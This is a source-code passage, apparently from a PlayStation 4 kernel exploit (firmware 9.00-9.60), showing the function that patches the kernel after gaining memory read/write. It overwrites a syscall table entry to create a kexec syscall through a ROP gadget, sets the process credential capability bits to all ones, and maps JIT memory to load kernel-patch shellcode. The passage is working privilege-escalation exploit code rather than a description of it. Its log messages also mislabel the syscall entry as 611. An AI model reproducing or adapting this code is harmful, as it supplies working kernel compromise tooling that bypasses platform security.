(kbase, kmem, p_ucred, restore_info)
| 1527 | } |
| 1528 | |
| 1529 | async function patch_kernel(kbase, kmem, p_ucred, restore_info) { |
| 1530 | if (!is_ps4) { |
| 1531 | throw RangeError("ps5 kernel patching unsupported"); |
| 1532 | } |
| 1533 | if (!(0x900 <= version && version < 0x1000)) { |
| 1534 | // Only 9.00-9.60 supported |
| 1535 | throw RangeError("kernel patching unsupported"); |
| 1536 | } |
| 1537 | |
| 1538 | log("change sys_aio_submit() to sys_kexec()"); |
| 1539 | // sysent[661] is unimplemented so free for use |
| 1540 | const sysent_661 = kbase.add(off_sysent_661); |
| 1541 | const sysent_661_save = new Buffer(0x30); // sizeof syscall |
| 1542 | for (let off = 0; off < sysent_661_save.size; off += 8) { |
| 1543 | sysent_661_save.write64(off, kmem.read64(sysent_661.add(off))); |
| 1544 | } |
| 1545 | log(`sysent[611] save addr: ${sysent_661_save.addr}`); |
| 1546 | log("sysent[611] save data:"); |
| 1547 | hexdump(sysent_661_save); |
| 1548 | // .sy_narg = 6 |
| 1549 | kmem.write32(sysent_661, 6); |
| 1550 | // .sy_call = gadgets['jmp qword ptr [rsi]'] |
| 1551 | kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi)); |
| 1552 | // .sy_thrcnt = SY_THR_STATIC |
| 1553 | kmem.write32(sysent_661.add(0x2c), 1); |
| 1554 | |
| 1555 | log("set the bits for JIT privs"); |
| 1556 | // TODO: Just set the bits for JIT privs |
| 1557 | // cr_sceCaps[0] // 0x2000038000000000 |
| 1558 | kmem.write64(p_ucred.add(0x60), -1); // 0xffffffffffffffff |
| 1559 | // cr_sceCaps[1] // 0x800000000000ff00 |
| 1560 | kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff |
| 1561 | |
| 1562 | const buf = await get_patches(patch_elf_loc); |
| 1563 | const patches = new View1(await buf, 0x1000); |
| 1564 | let map_size = patches.size; |
| 1565 | const max_size = 0x10000000; |
| 1566 | if (map_size > max_size) { |
| 1567 | die(`patch file too large (>${max_size}): ${map_size}`); |
| 1568 | } |
| 1569 | if (map_size === 0) { |
| 1570 | die("patch file size is zero"); |
| 1571 | } |
| 1572 | log(`kpatch size: ${map_size} bytes`); |
| 1573 | map_size = (map_size + page_size) & -page_size; |
| 1574 | |
| 1575 | const prot_rw = 3; |
| 1576 | const prot_rx = 5; |
| 1577 | const prot_rwx = 7; |
| 1578 | const exec_p = new Int(0, 9); |
| 1579 | const write_p = new Int(max_size, 9); |
| 1580 | |
| 1581 | log("open JIT fds"); |
| 1582 | const exec_fd = sysi("jitshm_create", 0, map_size, prot_rwx); |
| 1583 | const write_fd = sysi("jitshm_alias", exec_fd, prot_rw); |
| 1584 | |
| 1585 | log("mmap for kpatch shellcode"); |
| 1586 | const exec_addr = chain.sysp("mmap", exec_p, map_size, prot_rx, MAP_SHARED | MAP_FIXED, exec_fd, 0); |
no test coverage detected